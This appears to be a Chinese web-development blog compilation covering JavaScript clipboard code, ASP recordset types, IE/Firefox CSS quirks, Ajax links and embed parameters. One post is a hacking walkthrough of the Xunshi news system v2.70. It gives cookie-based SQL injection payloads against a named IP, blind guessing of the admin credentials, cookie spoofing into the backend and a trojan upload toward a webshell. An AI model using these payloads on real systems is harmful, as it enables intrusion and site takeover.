[JS]Javascript函数调用问题

  前段时间帮朋友做好的一个站,用的是框架,所以点击其它页面后,在地址栏里不会显示地址,而他们要将其中的网页发给客户看,因此今天要我把网站再改改,在地址栏能看到地址。我想如果再换结构,那页面好多,又是一项庞大的工程,于是就想增加一个复制网址的功能,让他们便于操作,能直接点击复制框架页面中的网址。然后我再在原来的js里加上判断自动将打开的页面转到首页并将嵌入页面加载为欲打开的页面。
  今天晚上就在写这样一个复制网址到剪贴板的功能,刚开始先用alert来调试数据,一切正常:
[code]Copy Url[/code]
  接下来就是写成JS函数来将数据复制到剪贴板:
[code]function copyToClipBoard()
{
var clipBoardContent=parent.mainFrame.document.title;
clipBoardContent += '
' + parent.mainFrame.location.href;
window.clipboardData.setData(“Text”,clipBoardContent);
alert(“成功复制到剪贴板!

内容如下:
“+clipBoardContent);
}
[/code]
  写好后通过标签的链接来调用:
[code]
Copy Url[/code]
  发现调用时老是不成功,提示说缺少对象。起初以为自己写错哪个名称了,于是又上网找到一个视频网站,查看了其中的复制到剪贴板的功能的写法,发现没什么异常的,不过他是通过图片的onClick事件来调用函数的。我突然想到,我也用onClick试试?然后在标签的onClick事件里调用,果真成功了。
  为什么用链接来调用自定义函数会不成功呢?我仔细看了下页面,突然发现,我用的是框架结构,链接都是在一个嵌入的Iframe里打开的,所以为了省事,我设了个Base属性:,难道是它惹的祸?那就去了试试,去了之后,再用链接调用,也成功了!

讯时2.70漏洞-对讯时新闻发布系统的艰难突破

三顾讯时–对讯时新闻发布系统的艰难突破

月无痕&&花非花

  一.接触起因

  这几天事情较多,一直都没去老大的论坛转!今天好友joli突然Q我说论坛上有人发了个脚本的问题,叫我也一起看一下,于是我就跑过去看了下(你家离论坛很近?竟然可以跑着过去!),也就有了下面这篇文章(测试版本为讯时新闻发布系统v2.70版 )。

  二.漏洞初探

  打算先看有没有经典的OR漏洞,虽然已经出来很久的漏洞了,但是很多程序仍然会存在这样的漏洞,admin_login.asp存在如下代码:
if request("user")="" or request("pass")=""then   
  conn.close
  set conn=nothing
  Response.Redirect "login.asp id=0"
  ’如果user或者pass等于空就掉转到login.asp id=0这个页面上
  else '注释下如果上面条件不成立就执行下面语句

  user=LCase(chkhtm(request("user")))'注释下这里先用chkhtm函数过滤然后用lcase在过滤
  pass=md5(chkhtm(trim(request("pass"))))
  ’然后带入sql语句查询
  sql = "select * from admin where [user]='"&user&"' and [pass]='"&pass&"'"
  Set rs = Server.CreateObject("ADODB.RecordSet")
  rs.Open sql,conn,1,1

好!上面关键的地方我都进行了一下注释,最关键的地方就是chkhtm函数,他是做什么的?我在titleb.asp中找到了他的定义!
function chkhtm(stra)
   stra=replace(stra,"<","<")
   stra=replace(stra,">",">")
   stra=replace(stra,"'","")
   stra=replace(stra,"(","(")
   stra=replace(stra,")",")")
   stra=replace(stra,";",";")
   stra=replace(stra,",",",")
   stra=replace(stra,"%","%")
   stra=replace(stra,"+","+")
   chkhtm=stra
end function

  很明显的一个过滤函数,在函数的第四行,已经过滤掉了“'”号了,所以OR漏洞是没戏了,思路到这里就断了。

  三.再探漏洞

   在查看代码的时候曾经被某人误导,一直抓不到点子上去了,这时候花非花刚好来上网,我把程序传给他,他把思路告诉我,然后他让我看了admin_chk.asp文件,大概代码如下:

   <%

1.session("admin__user")=Request.Cookies("adminuser")
2.session("admin__pass")=Request.Cookies("adminpass")
3.session("dJ")=Request.Cookies("admindj")

4.adminuser=Request.Cookies("adminuser")
5.adminpass=Request.Cookies("adminpass")
6.admindj=Request.Cookies("admindj")

7.if adminuser="" or adminpass="" then
8.  Response.Redirect "login.asp id=8"
9.end if

…省略部分代码…

10.user=trim(session("admin__user"))
11.pass=session("admin__pass")

12.sql = "select * from admin where [user]='"&adminuser&"' and [pass]='"&adminpass&"'"
13.Set rs = Server.CreateObject("ADODB.RecordSet")
14.rs.Open sql,conn,1,1
15.if rs.recordcount=0 then
16.  Response.Redirect "login.asp id=8"
17.end if
…再省略…
%>

   1,2,3是通过request.cookies方法从客户端获取cookie信息(KEY分别是adminuser,adminpass,admindj),并存入session中,分别对应:session("admin__user")、session("admin__pass")、session("dj")。然后在4,5,6分别把Request.Cookies("adminuser"),Request.Cookies("adminpass"),Request.Cookies("admindj")的值存入变量adminuser,adminpass,admindj中,如果变量adminuser,adminpass的值为空,就转到login.asp id=8页面,10,11是将session("admin__user")和session("admin__pass"),存入变量user和pass中。12,13,14将变量adminuser和adminpass的值参与sql查询。将拿客户端的cookie信息进行sql查询,这样做的结果是造成欺骗漏洞,但是由于参与查询的cookie还包括密码,所以这种利用条件比较困难,必须在得到用户的密码(估计有人要骂我了,呵呵,能得到密码还COOKIE欺骗干嘛,不过这个密码是MD加密的,也就是可以省去破解这一步了(另外一个就是cookie注入了,貌似可以,但是我们进行测试之后都构造不出可行的攻击语句,有高手能搞定的话,请告知一下,先谢过了!)。思路再一次中断…

  四.三顾讯时

     
     正在一筹莫展的石斛,花花说找到了另外一个漏洞,漏洞文件在admin_news_view.asp,漏洞代码如下:
     
     newsid=trim(request("newsid"))
     sql = "select * from news where id="&newsid
     Set rs = Server.CreateObject("ADODB.RecordSet")
     rs.Open sql,conn,1,1
    
     这个文件以admin开头,但是没有进行权限的判断等,用户可直接查看,而这里通过request获取从客户端传来的数据newsid的值,并用trim函数过滤之后存入变量newsid中。然后将此变量参与SQL查询。此过程,只用trim函数过滤了空格并没有做其他的限制,所以从这里可以看出来一个注入漏洞就产生了。   

   用order by函数判断参与SQL查询的字段为26个,提交 http://222.90.4.20/news/admin_news_view.asp newsid=26%20and%201=2%20union%20select%20…,返回错误,如图1所示:

按此在新窗口打开图片

然后,我们在admin_conn.asp 文件中发现如下代码:
   sss=LCase(request.servervariables("QUERY_STRING"))
   if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then
     response.write "<BR><BR><center>你的网址不合法"
     response.end
   end if

   过滤了request.querystring方法获取从客户端传来的数据,过滤的内容是select,inster,delete等。虽然做了这个限制,但是我们还是可以利用cookie进行注入,因为前面的漏洞代码里面用的是request而不是request.querystring,所以我们还有reuqest.cookie方法让服务端获取我们这里的数据。
    先访问:http://222.90.4.20/news/admin_news_view.asp newsid=26,然后去掉此URL,再   提交:javascript:alert(document.cookie="newsid="+escape("26 and 1=1"))返回如图2所示:

按此在新窗口打开图片
然后在访问http://222.90.4.20/news/admin_news_view.asp,返回如图3:

按此在新窗口打开图片

说明我们提交的url已经有参与了sql查询,而且查询所得结果为真。再提交:
  javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(user,1,1)) from [admin] where id=1)=97"))
   返回如图4所示:

按此在新窗口打开图片

判断id=1的user(管理员)的第一个字符的ascii码值是否为97。相信大家以前看过花花的文章,大概的cookie注入也就这样了。下面是猜密码的。
  javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(pass,1,1)) from [admin] where id=1)=97"))

  通过一一猜解所得的用户名和密码的ASSCII分别是97 100 109 105 110,50 49 50 51 50 102 50 57 55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 52 97 56 48 49 102 99 51,转换后的结果分别是admin和21232f297a57a5a743894a0e4a801fc3。然后我们不必去破解密码,拿出老兵叔的cookie欺骗工具,在cookies栏里输入:admindj=1; adminpass=21232f297a57a5a743894a0e4a801fc3; adminuser=admin; (保持绿色小球处于按下状态)然后在address栏里输入:http://222.90.4.20/news/admin_index.asp,提交!这样我们就可以不经登陆直接进到后台了。如图5所示:

按此在新窗口打开图片

进到后台就是拿WEBSHELL了。打开网友投稿,如图6所示:

按此在新窗口打开图片

打开查看审查,然后传个.zip(需要是允许上传的类型)的马上去。如图7所示:
按此在新窗口打开图片
  然后,查看编辑器的代码,如图8所示:
按此在新窗口打开图片
  可以看到这样一行字:<a href="/news/edit/uploadfile/2007213131454997.zip" …. 
  然后记下这一路径:/news/edit/uploadfile/2007213131454997.zip
  再打开备份,如图9所示:
发布于 分类 网站技术讯时2.70漏洞-对讯时新闻发布系统的艰难突破有1条评论

关于如何禁止浏览器缓存某一页面

  前几天,因为忘了禁止缓存的HTML标签是怎么写的,就上网搜索了一下,结果发现大都转载了这样的内容:[quote]在WEB开发时,仅仅使用是不起作用的,IE仍然会cache数据的。这是因为ie在一页的数据没有满32K时它是不会缓存的。
  通常,这样的话,如果把no-cache直接放在最前面的话,只要缓存中的数据没有到32K,当时ie是不会缓存的,但是当读过了no-cache标志,到了HTML其他部分时,数据已经超过了32K这时,IE仍然会将数据缓存起来。这是由于IE分析一个页面的语法时是从上到下读取的,正确的方法如下:
    
    
      
       你的标题
    
    
       你的页面的其它部分。。。。。
    
    
      
    
    [/quote]

  我有点怀疑这样的说法。今天闲着没事,实验了一下。发现根本不是这么一回事。即使是很小的文件,不用也还是会缓存的,再大的文件,在头部用了就不会缓存,而不必像上面提到的一样写到后面去。
  我的环境是Win2003+Maxthon。
  又试了一下用FF浏览,发现无论如何,都不缓存。不知道怎么回事。

ajax资料收集-Ajax文章(教程和实例)-Ajax资源下载(源码和教程)-Ajax规范标准

CSDN Blog Ajax文章搜索:
http://search.csdn.net/search/ajax/1/blog/

专题:Ajax技术应用开发
http://www.51cto.com/html/2005/1121/11736.htm

http://www.edufans.com/html/Ajax/
Ajax教程 
Ajax技巧
Ajax实例
Ajax下载

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ajax联盟:资源下载
http://www.ajaxw3c.com/resource.html

  • 征服Ajax – Web20开发技术详解试读版【PDF电子版下载】
  • AJAX 新手快车道【PDF电子版下载】
  • Ajax 基础教程【html版下载】
  • Ajax 修炼之道—Web2.0入门【全部源代码下载】
  • Ajax 开发精要
  • Ajax实战(ajax_in_action)【PDF电子版下载】
  • 网站重构【PDF电子版下载】
  • 代码大全1.01中文版【PDF电子版下载】
  • CSS 2.0手册中文版(苏沈小雨版)【chm电子版下载】
  • CSS 2.0样式表中文手册(苏昱版)【chm电子版下载】
  • JScript 语言参考【chm电子版下载】
  • JavaScript源码大全 v1.0【chm电子版下载】
  • JavaScript 权威指南【chm电子版下载】
  • VBScript 语言参考【chm电子版下载】
  • XmlHttp对象参考【chm电子版下载】
  • Flash 2004 ActionScript 字典【chm电子版下载】
  • XML 指南【chm电子版下载】
  • XML 学习手册英文第二版【chm电子版下载】
  • Microsoft Windows脚本技术【chm电子版下载】
  • 网站项目管理规范【chm电子版下载】
  • 网页制作完全手册【chm电子版下载】
  • SQL语言参考大全【chm电子版下载】
  • 表单验证Validator v1.0【chm电子版下载】
  • 新编 Win32API 大传【chm电子版下载】
  • 网站设计和制作理论知识【chm电子版下载】

    ajax联盟:规范标准
    http://www.ajaxw3c.com/webstandard.html

    CSS 编码规范
    ASP 编码规范
    PHP 编码规范
    Java 编码规范
    C#编码规范
    JSP 编码规范
    网站技术规范
    网页制作规范及流程
    专业信息网站制作规范

    ajax联盟:文章教程
    http://www.ajaxw3c.com/article.html

    ajax联盟:WEB2.0
    http://www.ajaxw3c.com/web20.html

  • web 2.0 概念结构
  • Web 2.0 学习指南
  • Web 2.0中AJAX技术应用详解
  • Web 2.0 网站成功的关键
  • WEB2.0中AJAX应用的详细探讨
  • Web 2.0 编程思想:16条法则
  • 关于Web 2.0 网站的创业思考

    +++++++++++++++++++++++++++++++++++++++++++++++++
    Ajax资料
    http://blog.csdn.net/bjoker/archive/2006/10/23/1347578.aspx
    一.资源类网站

    1,国内网站
    1)Ajax中国(推荐)
    一个专业的ajax技术网站,分类清晰,有大量的电子版教程,以及AJAX源码下载!
    www.okajax.com

    2)ajaxcn.org
    李琨老师的blog。李琨:《ajax实战》译者.
    www.ajaxcn.org
    —————————————–
    2,国外网站
    1)、Ajax 的诞生
    Ajax: A New Approach to Web Applications
    www.adaptivepath.com/publications/essays/archives/000385.php

    2)、AJAX Matters
    www.ajaxmatters.com
    关于 Ajax 技术一个信息量非常大的网站,有点像 Ajax 世界中的 TSS。

    3)、AJAX Patterns
    与 AJAX 设计模式相关的资源。
    www.ajaxpatterns.org
    www.softwareas.com/ajax-patterns

    4)、http://www.ajaxian.com

    ——————————————————————————–

    二.热门文章

    1.什么是AJAX
    www.okajax.com/info/net/20060510.html
    2.ajax技术简介
    www.okajax.com/info/basic/200604654.html
    3.ajax.net
    www.okajax.com/info/basic/200604556.html
    www.okajax.com/info/tech/200605589.html
    Lee发布于 分类 网站技术ajax资料收集-Ajax文章(教程和实例)-Ajax资源下载(源码和教程)-Ajax规范标准有2条评论

  • [ASP]记录集游标类型简介

    打开方式:
    RS.OPEN SQL,CONN,A,B
    A、B参数如下:
    A:

    ADOPENFORWARDONLY(=0)
    只读,且当前数据记录只能向下移动

    ADOPENKEYSET(=1)
    只读,当前数据记录可自由移动

    ADOPENDYNAMIC(=2)
    可读写,当前数据记录可自由移动

    ADOPENSTATIC(=3)
    可读写,当前数据记录可自由移动,可看到新增记录

    B:

    ADLOCKREADONLY(=1)
    缺省锁定类型,记录集是只读的,不能修改记录

    ADLOCKPESSIMISTIC(=2)
    悲观锁定,当修改记录时,数据提供者将尝试锁定记录以确保成功地编辑记录。只要编辑一开始,则立即锁住记录。

    ADLOCKOPTIMISTIC(=3)
    乐观锁定 ,直到用Update方法提交更新记录时才锁定记录。

    ADLOCKBATCHOPTIMISTIC(=4)
    批量乐观锁定,允许修改多个记录,只有调用UpdateBatch方法后才锁定记录。

    当不需要改动任何记录时,应该使用只读的记录集,这样提供者不用做任何检测。
    对于一般的使用,乐观的锁定可能是最好的选择,因为记录只被锁定一小段时间,
    数据在这段时间被更新。这减少了资源的使用。

    如何提高研发过程效率—内部沟通方式

    内部沟通一般的方式为:会议,邮件,面对面,电话,工作报告等,会议的好处是容易形成制度,容易贯彻,但缺点是不够灵活,沟通效果也往往不够好。邮件的好处是快捷,实现了资源共享,缺点是不好推行,不易形成习惯,技术人员对写也有抵触心理。内部电话的好处是快捷,沟通效果好。面对面的好处是及时,灵活,缺点是有时要走一段路,也有些员工不善于主动和别人沟通。
      大多公司都有周例会制度,一些公司甚至有10分钟早会的制度,一般的,一个大的部门应该有周例会制度,在人数少的项目小组中,10分钟早会很有效果,现在的研发过程要求争分夺秒,每一天都有很多的问题和变数,用一个10分钟早会能实现及时的沟通和任务下达.会议的沟通效果不见得都很好,国内不少公司开始提及泊来的新概念:头脑风暴,但似乎做的好并不多,国外之所以盛行这种方式也是同他们开放的性格有关,在国内,越大的企业,越是等级观念强的企业越不容易实现头脑风暴,一些小的创业型企业,管理层和员工没有距离感,反倒容易做到头脑风暴。国外企业喜欢在会议中营造轻松气氛,例如准备一些饮料,布置得比较随意一些,反观国内,大多是大大的深色会议桌,参会人员个个正襟危坐,都象开军事会议一样,发言稍有不慎,似乎就有杀身之祸,这样的会议自然效果不好。

    邮件最重要的是能利用转发和群发等方式实现最大化的资源共享,说大一点,这也是知识管理的一种手段,项目组中大量内容丰富的邮件,本身也是一种非常好的文档,假象一下,如果一个项目组员之间有多达上百封邮件,一个外部人员通过读这些邮件就可以了解项目进展和前期的一些工作状况,项目结束时,写总结报告也可以从邮件中获取一些素材,既省时也省力。有些团队能把邮件这种方式用的十分充分,但有些则很少利用,这往往基于一种习惯和风格的形成,在没有形成自然的习惯前,一些员工会从心理上抵触这样的资源共享.而且技术员工要形成写的习惯也往往有难度.项目经理最好是能在项目组中形成邮件沟通的风气,因为项目经理能比较完整的了解项目细节,而且在团队里有影响力,容易将管理风格推行到团队中。

    内部电话是十分有效的,在大规模的研发中心,往往有大量的跨部门交流,例如测试部门和开发的交流,设计人员和开发人员的交流等等,在办公地点相距较远而且需要马上沟通的情况下,最好用电话沟通,只有在电话里说不清楚或特别紧急的情况下,才考虑面对面沟通。

      工作报告也是很常见的管理制度,形成制度后,对工作进度的跟踪有很好的帮助,不少公司形成内部网工作报告的提交制度,往往有很好的效果,不过也要通过一定手段保证工作报告的质量,不能让员工以应付的态度提交报告。

    IE与Firefox下对CSS解析的区别

    1、对高度的解析
    IE:将根据内容的高度变化,包括未定义高度的图片内容,即使定义了高度,当内容超过高度时,将使用实际高度。

    Firefox:没有定义高度时,如果内容中包括了图片内容,MF的高度解析是根据印刷标准,这样就会造成和实际内容高度不符合的情况;当定义了高度,但是内容超过高度时,内容会超出定义的高度,但是区域使用的样式不会变化,造成样式错位。

    结论:大家在可以确定内容高度的情况下最好定义高度,如果真的没有办法定义高度,最好不用使用边框样式,否则样式肯定会出现混乱!

    img对象alt和title的解析
    alt:当照片不存在或者load错误时的提示;
    title:照片的tip说明。
    在IE中如果没有定义title,alt也可以作为img的tip使用,但是在MF中,两者完全按照标准中的定义使用

    结论:大家在定义img对象时,最后将alt和title对象都写全,保证在各种浏览器中都能正常使用

    其他的细节差别
    当你在写css的时候,特别是用float: left(或right)排列一窜图片时,会发现在firefox里面正常而IE里面有问题。无论你用margin:0,还是border: 0来约束,都无济于事。

    其实这里还有另外一个问题,就是IE对于空格的处理,firefox是忽略的而IE对于块与块之间的空格是处理的。也就是说一个div结束后要紧接着一个div写,中间不要有回车或者空格。不然也许会有问题,比如3px的偏差,而且这个原因很难发现。

    非常不走运的是我又碰到了这样的问题,多个img标签连着,然后定义的float: left,希望这些图片可以连起来。但是结果在firefox里面正常而IE里面显示的每个img都相隔了3px。我把标签之间的空格都删除都没有作用。

    后来的解决方法是在img外面套li,并且对li定义margin: 0,这样就解决了IE和firefox的显示偏差。IE对于一些模型的解释会产生很多错误问题,只有多多尝试才能发现原因。

    2、嵌套DIV:父DIV的高度不能根据子DIV自动变化的解决方案

    当Content内容多时,即使parent设置了高度100%或auto,在不同浏览器下还是不能完好的自动伸展。 解决方案

    在层的最下方产生一个高度为1的空格,可解除这个问题

    3、CSS DIV 学习笔记

    一、基本上每个区块的div 都要有自己的id,杜绝不同功能的区块用同一个id/class

    二、每个稍大的区块div 后面都跟一个标记开始、结束

    三、隐藏文字的又一种方法 TEXT-INDENT: -9999px; LINE-HEIGHT: 0

    四、巧妙地处理并列的两列:
    1)
    右列为P, width=44.5%, float=left
    左列为P.first, border-right: #a7a7a7 1px solid, width=45%
    2)
    右列#right, margin-left:50%
    左列#left, float=left,width=50% border-right:#a7a7a7 1px solid

    以上两种方法关键点在于选择其中一个为float=left

    五、随机的切换图片:
    #random {
    BACKGROUND: url(/rotate.php);
    }
    这个方法很巧妙。

    4、关于div的高度自适应

     
     今天小尿让我帮他的页子解决一个问题,就是div的高度自适应,也就是在一个父级div中嵌套一左一右两个子div,右边的子div内容可无限扩展,而
    可以使得父级div的高度能被无限拉长,用一般的布局方法,在IE中可以正确浏览,在Mozilla中父级div的高度就固定在10px左右,无法自适应
    高度,height:auto也不行,怎么办呢。网上参考到一篇资料,要实现自适应高度,div层必须具有float属性,于是我开始动手试验,
    float:left的话,div就跑到页面最左边去了,这好办,我在它的外面再套一层div,把位置定好,那么里面的就算float:left也不会被
    移动位置了。

    xhtml:
    ===============

    test
    test
    test
    • 预安装检查
    • 阅读 PFC 授权协议
    • 初始化数据库
    • 完成安装

    CSS
    =================
    #container_father {
    margin-left: auto;
    margin-right: auto;
    padding: 0px;
    width: 750px;
    }

    #container {
    width: 750px;
    border: 1px solid #cccccc;
    padding: 8px;
    margin: 0px;
    background-color: #F1F3F5;
    float: left;
    }

    FRom: http://ulean.zg163.net/

    5、 深入标准 ~ The IE Doubled Float-Margin Bug(IE双倍浮动边界Bug)
    什么发生故障?

    一段无错的代码把一个居左浮动(float:left)的元素放置进一个容器盒(box),并在浮动元素上使用了左边界(margin-left)来令它和容器的左边产生一段距离。看起来相当的简单,对吗?但直至它被在IE/Win中浏览为止,在浏览器中居左浮动元素的边界长度被神秘地翻了一倍!

    情况应该如何?

    下面的图释展示了一个简单的div(茶色的盒子)包含着一个居左浮动的div(绿色的盒子)。浮动元素有一个100px的左边界,使容器盒与它的左边缘之间产生了一个100px的间隙。到现在为止,一直都还不错。

    .floatbox {
    float: left;
    width: 150px;
    height: 150px;
    margin: 5px 0 5px 100px;
    /*This last value applies the 100px left margin */
    }

    陈旧的IE“双倍占据”

    原样的相同代码被在IE/Win中浏览时以些微不同的方式显示,下面的图释展示了IE/Win在布局上所做的。

    这为什么会发生?别问这种傻问题!这就是IE,记得吗?符合标准只是理想的状况,不指望实现,这个简单的事实正验证了。

    重点

    这个Bug仅当浮动边界和浮动元素的方向相同时出现在浮动元素和容器盒的内边缘之间,在这之后的任意有着相似边界的浮动元素不会呈现双倍边界。只有特定的浮动行的第一个浮动元素会遭遇这个Bug。像居左的情况一样,双倍边界同样神秘地显示在居右的相同方式。

    最后,修复办法!

    直到现在(04年1月)这个Bug一直被认为是无法修复的,通常用来替代错误的边界的控制方法如:一个不可视浮动元素的左边距,连同一个内嵌的盒子一起,可
    视的盒子装在不可视浮动元素里;或者使用技巧仅对IE/Win设定边界的1/2值。这办法生效了,但是是混乱的而且搞糟了干净的源代码。不过现在全部结束
    了。

    Steve Clason发现了一个修复办法,描述在他的Guest Demo里,修复了双倍边界和围绕文字缩进Bug。这是一个经典的IE的Bug修复办法,使用一个属性来修复影响不相关属性的Bug。

    现在如何来做?

    研究它,简单地将{display: inline;}设置给浮动元素就是全部所需做的!是的,听起来太简单了,不是吗?不过这是真的,仅仅一个display的”inline”声明已经能够胜任了。

    熟悉规则的人知道浮动元素自动设置为”block”元素,而不管他们之前是什么。就如Steve从W3C里指出:

    9.5.1 Positioning the float: the ‘float’ property

    “This
    property specifies whether a box should float to the left, right, or
    not at all. It may be set for elements that generate boxes that are not
    absolutely positioned. The values of this property have the following
    meanings:

    left
    The element generates a block box that is
    floated to the left. Content flows on the right side of the box,
    starting at the top (subject to the ‘clear’ property). The ‘display’ is
    ignored, unless it has the value ‘none’.

    right
    Same as ‘left’, but content flows on the left side of the box, starting at the top.

    none
    The box is not floated. “

    这说明浮动元素上的{display:
    inline;}会被忽略,事实上所有的浏览器没有呈现任何改变,包括IE。但是,它不知何故让IE停止将浮动元素的边界翻倍。因而,这个修复办法可以被
    直接应用,而没有任何繁琐的隐藏方法。如果将来的一款浏览器决定对这个修复办法抱恙,只要把这个修复装入IE独用的Tan Hack里,细节如同IE
    Three Pixel Text-Jog Demo。

    下面是两个使用了前面相同代码的生动演示,第一个照常显示了IE的Bug,下一个对浮动元素使用了”inline”修复。
    .floatbox {
    float: left;
    width: 150px;
    height: 150px;
    margin: 5px 0 5px 100px;
    display: inline;
    }

    Update (20060828):

    6、空

  • 解析问题。

    在FF下空

  • 是不被解析的,也就是说,

  • 标签所带的css样式是不被解释的。但是在IE下空
  • 是一样会被解析的。
    例如我定义如下Css:
    #sidebar ul li {
      list-style-type: none;
      list-style-image: none;
      margin-bottom: 15px;
    }

    而我的sidebar使用了一个空的

  • 。那么在FF下不被解析,而在IE下会出现15px的空白。

    doctype后如何获得body.clientHeight

    今天在用一个随滚动条移动的效果代码时,发现有的页面,不动,而JS代码是一样的 。

    上网一搜索才知道,原来是loose.dtd搞的鬼,查到的说明如下:

    在用DW mx 2004 新建网页文件时会自动加入:

    在ie6中很多js脚本执行就会出现问题,一般是在获取clientWidth, clientHeight,offsetWidth, offsetHeight,scrollWidth, scrollHeight,scrollTop, scrollLeft会返回不正确的值。

    因为在加了doctype后,在ie6中这些document.body的属性已经重新分配给了document.documentElement。

    比如:原来document.body.clientHeight,就要改成document.documentElement.scrollTop

    而我的JS代码是好多页面公用的,有的页面有loose.dtd,有的没有。为了自适应,我就改了下代码:

    ((document.documentElement.clientHeight==0)?document.body.clientHeight:document.documentElement.clientHeight)

    用这样的代码就能自适应了。

    有关Session的作用范围

    前段时间在搞一个多用户网店系统,绑定多个域名,用域名判断商店店主。

    期间用到Session,发现用马桶时,同一个浏览器窗口,用类似site1.my.cn ,site2.my.cn这样的同域不同主机名的域名访问站点,发现有时Session竟共用,有时不共用。而在IE里倒还没发现有这样的问题。

    不知道是何原因。

    郁闷中。。。。

    embed参数[播放器]

    embed参数
    描述: 在页面中嵌入任何类型的文档.用户的机器上必须已经安装了能够正确显示文档内容的程序,一般常用于在网页中插入多媒体格式可以是.rm .mid .wav等,Netscape 及 新版的 IE 都支持。

    语法:

    相关参数描述:

    SRC:设定关联的文档,可以是相对路径或绝对路径。例:src=”xt.rm”
    autostart 是否在音乐档下载完之后就自动播放。”true” 是,”false” 否
    loop 是否自动反复播放。LOOP=2 表示重复两次,true 是, false 否。
    ALIGN 设定控制画面和旁边文字的对齐方式,其值可以是 top、bottom、center、baseline、 left、

    right、texttop、middle、absmiddle、absbottom 。

    ALT 程序不能正确运行时用来替代显示的文字.

    CONTROLS
    设定控制面板的外观。预设值是 console。
    console 一般正常面板
    controlpanel 精简面板 
    smallconsole 更小的面板   
    playbutton 只显示播放按钮   
    pausecutton 只显示暂停按钮   
    stopbutton 只显示停止按钮   
    volumelever 只显示音量调节按钮
    imagewindow 只显示播放器屏幕
    statusbar 只显示相关信息 例如 传速 播放时间
    CLASS:给该标记指定一个事先定义好的样式类。
    CODE:class文件名,嵌入的是一个Java Applet.
    CODEBASE:指定包含文档的目录的路径.
    HIDDEN:是否完全隐藏控制画面,true 为是,no 为否
    HEIGHT:显示该文档的区域的高度.
    HSPACE:显示该文档时的水平间距.
    ID:给该元素定义一个在文档中唯一的标识。有效标识以字母开头,可以在中间使用下划线。
    NAME:指定程序的名称.
    STYLE:指定该元素的样式。
    title:定义提示信息,提示信息文字在响应onmouseover事件时显示出来。
    UNITS:指定高宽值的单位,可以是像素(px)或ems (em).
    VSPACE:显示该文档时的垂直间距.
    WIDTH:显示该文档的区域的宽度.